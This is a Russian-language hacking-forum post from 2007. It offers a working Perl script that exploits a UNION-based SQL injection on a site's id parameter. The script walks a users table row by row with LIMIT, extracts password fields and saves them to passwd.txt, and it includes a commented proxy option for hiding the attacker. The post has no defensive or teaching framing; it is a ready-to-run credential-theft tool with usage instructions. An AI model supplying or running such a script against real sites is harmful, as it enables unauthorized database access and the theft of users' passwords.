Показать сообщение отдельно

  #3  
Старый 25.10.2007, 10:53
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

я так понимаю у него скуль вида -1+union+select+1,1/* и ему надо каждый лимитом вытаскивать

Код:
#!/usr/bin/perl
use strict;
#use warnings;
use LWP::UserAgent;

my $num = $ARGV[0];

my $ua = LWP::UserAgent->new;
$ua->agent("Dendi 8bit");
#$ua->proxy(['http', 'ftp'] => 'http://login:pass@proxy-ip:port');
open(FH,">passwd.txt") or die "$!";
for(1..$num) {
  my $req = HTTP::Request->new(GET => "http://site.ru/index.php?id=-1+union+select+1,concat('123:',password)+from+users+limit+$_,1/*");
  $req->header('Accept' => 'text/html');
  my $res = $ua->request($req);
  $res->content =~/<strong>2<\/strong><br>123(.+?)<\/td>/;
  print FH $1,"\n";
}
close FH;
запускаешь с параметром сколько вытаскивать и ждешь, когда скрипт закончит работу, вывод в passwd.txt
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием